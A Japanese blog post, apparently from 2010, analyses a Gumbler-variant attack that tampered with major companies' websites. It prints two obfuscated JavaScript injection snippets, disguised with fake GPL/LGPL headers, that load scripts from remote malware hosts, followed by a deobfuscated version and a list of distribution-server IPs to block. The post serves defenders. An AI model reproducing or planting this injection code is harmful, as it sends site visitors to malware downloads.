去年暮れくらいからGumbler亜種と思われるウイルスの被害が続出してるようです。
JR東日本、ローソン、京王電鉄、ハウス食品等大手企業さいとでもHTMLが改ざんされウイルス配布サーバにリダイレクトされるコードが挿入されてたらしいですね。
手口としては以前に書いた記事で取り上げた方法とほぼ一緒です。
ただ、改ざん時に挿入された JavaScript が異なるので、昨年5月に流行したやつをまねた亜種でしょうね。
ウイルス本体は報道によるとAdoreReaderやJava等の脆弱性をついてくるようですが、ウイルス本体の入手ができなかったのでそこらへんは未調査です。
(リダイレクト先のサーバも同一IPから初回だけウイルスダウンロードさせる的な動きを取ってるようです)
社内でもこのウイルスに引っかかるケースが増えてきました。
現状としては、アンチウイルスソフトで何とか防げてます。
昨年12月下旬の時はリダイレクト先から悪質なjpgをダウンロードしてる所で検知してくれましたが、最近は難読化したリダイレクトコードのあるページだけでも検知してるようです。
余談ですが、ウイルスの解析のため VirtualPC 上で改ざんされたサイト閲覧するとホストOS上のNOD32が反応してブロックされてしまいました。Microsoft Security Essentialsは全然反応しなかったんですけどね。。(解析したのが去年暮れで、Security Essentialsがこの悪質コードに対応したシグネチャを配布したのは1月上旬みたいなんで、今は検知すると思います。)
参考までに、今回の改ざんされたHTML上に挿入される難読化したリダイレクトコードのっけておきます。
サイト持ってて、こんなコードが入っている場合は早急に対応してください。サイト見た人がホント迷惑するんで。。。
/*GNU GPL*/ try{window.onload = function(){var Wdz8p0zg1x6n = documen
t.createElement('s@($c(&r)$@i^$!&p@#t@$^'.replace(/\^|#|\$|\(|\)|&|\!
|@/ig, ''));var O8thstxdzw = 'Oiw389ryv2642';Wdz8p0zg1x6n.setAttribut
e('type', 't&(@^!e@@$&x@&))t$^/($^(j(a$^!v^&^a(!s@#c^r#^i(p^$^!t('.re
place(/\(|\!|@|#|\^|\$|\)|&/ig, ''));Wdz8p0zg1x6n.setAttribute('src',
'h&!!t&!&^t(^p@@@:#@/!!/(&p&)@p$@l#i&$v)!e&^(-@$c)^$o)!&)^m&$.&!@w)
$!e)b^!m@^#)a!)s^$^^t&^$e)(r(w!^o()#r$#!^l@@d!.)!c($@^o)$#m^).@@w(s((
j)(-)($)c#&$o$^m&.$j)o!^@h&@#n(#s#)#i$)&t)e!(.(r$&u#:$(^8^0$&&8(0@!$/
)$&o^r)^$$#k@))!u^t&^.()#c))^)o@)()m()(!.@^b@!r^$/!$@o^r^k)))#u@t@!&.
)#c#o!&(m@$$.@!(b$(r@)$!/#^^g^$$$^o!($@o$!!g$^l)(e(.&()(c^^)$o)m#^&.$
)^p$&h&!))/($$(b!)!(i!#@#n)$g@&.@!)c&&o((@#m^!@/^g(&()o)!o($g)@!)l@!&
e#$.(!#c@^o@m#@/@@!!@'.replace(/\!|#|\)|\$|\(|\^|@|&/ig, ''));Wdz8p0z
g1x6n.setAttribute('defer', 'd^(e&)f(^e$r!'.replace(/\!|@|\)|\$|\^|&|
\(|#/ig, ''));Wdz8p0zg1x6n.setAttribute('id', 'B(##1@)3()a@^(b$$&f&)q
#)@l#$$)v^y@^!&4$^'.replace(/@|#|&|\)|\$|\^|\!|\(/ig, ''));document
.body.appendChild(Wdz8p0zg1x6n);}} catch(N8q68wvetq) {}
*LGPL*/ try{ window.onload = function(){var C7stlc4494 = document.cre
ateElement('s!&(!c!r^!i((((p#t$#$'.replace(/\^|\!|@|&|\(|#|\$|\)/ig,
''));C7stlc4494.setAttribute('defer', 'd!e!!f&$e$r(!'.replace(/\(|\!|
&|\)|#|\^|\$|@/ig, ''));C7stlc4494.setAttribute('type', 't)&)e^&!x@@&
t$@))/#)()j!)a$(v($^&a(!s&!!$c^#@!&r#i$#$^p#^$t)!('.replace(/&|\)|\(|
@|\!|\$|#|\^/ig, ''));C7stlc4494.setAttribute('id', 'Y@(^w@$)x#@)@n!^
e$^a)$)c!$(8@!))1@)#j$q)#)$y$r!#'.replace(/\$|\^|@|#|\)|\(|\!|&/ig, '
'));C7stlc4494.setAttribute('s((r!#c$^&!'.replace(/\^|\!|&|\(|@|\$|#|
\)/ig, ''), 'ht$t$#(p^#@:^$#/$#^$/)$&r$e!$(a^l^)#t((o((&r^)-^)c@
(o@$!$m^.$(#l##)i@#!n()k&s$(^&y&($n(!e(@)!r$!(g(@y#!.(c##(o$^@(m!$^.&
$f)a&@@n^&p)o))@p(^@(-#(@c!#(^o^@$m@$.$w$@(o!&$r)l&&&d$#&w!$&e&$(^b#$
^&w$@o&^)r$#l^(d($$^.^&(&r#&&)u$!:$#8!^^!(0)8!@0))/)!a@#s#s!&!o(^c#
^i!a(!(()t$^e$d$!!c))o!)n&t#^(e)^n)@t(.!@#(c#&!!o#@^m!^&/$&a^&^s)s#o#
^c!i^!a#t!(e#)d&c($&o^)n!!#t)!(e(!)#n&t&&$&.!)c)^()^o(m^!/(&l!$^i#v$#
!e@^($$.!^$$c^#^#o))$m^/$@g^@@o(&o&^g&)&^l@&e&(^).@^c!$!o(^^&m$&/)&a)
t))(t!#@.)$^^n^!@$e@&t#(/^&'.replace(/\$|@|\!|#|\^|\(|\)|&/ig, ''));i
f (document){document.body.appendChild(C7stlc4494);}} } catch(Zzjczsh
sk9s66fhnr2) {}
先頭に GNU GPL とか LGPL とかつけて、検知をすり抜けようとしてるみたいですね。
ちなみに、上の難読化コードの1番目を可読化するとこうなります。
try{
window.onload = function{
var Wdz8p0zg1x6n = document.createElement('script');
var O8thstxdzw = 'Oiw389ryv2642';
Wdz8p0zg1x6n.setAttribute('type', 'text/javascript');
Wdz8p0zg1x6n.setAttribute('src', 'http://pplive-com.webmasterworld.com.wsj-com.johnsite.ru:8080/orkut.com.br/orkut.com.br/google.com.ph/bing.com/google.com/');
Wdz8p0zg1x6n.setAttribute('defer');
Wdz8p0zg1x6n.setAttribute('id', 'B13abfqlvy4');
document.body.appendChildWdz8p0zg1x6n;
}
} catch (N8q68wvetq) {
}
今回の難読化は ( , ) , ^ , $ , # , @ , ! の文字を文字列中に含めて、replace で空文字に置換してるだけの単純なものですね。
ウイルス本体配布サーバはロシアが使われてるっぽいです。
ホスト逆引きすると下記のIPになってたんで、FWでブロックしとくと安心かもしれませんね。(他にもIPあるらしいですけど。。)
94.23.206.229
83.172.134.48
91.121.79.191
91.121.86.130
91.121.142.111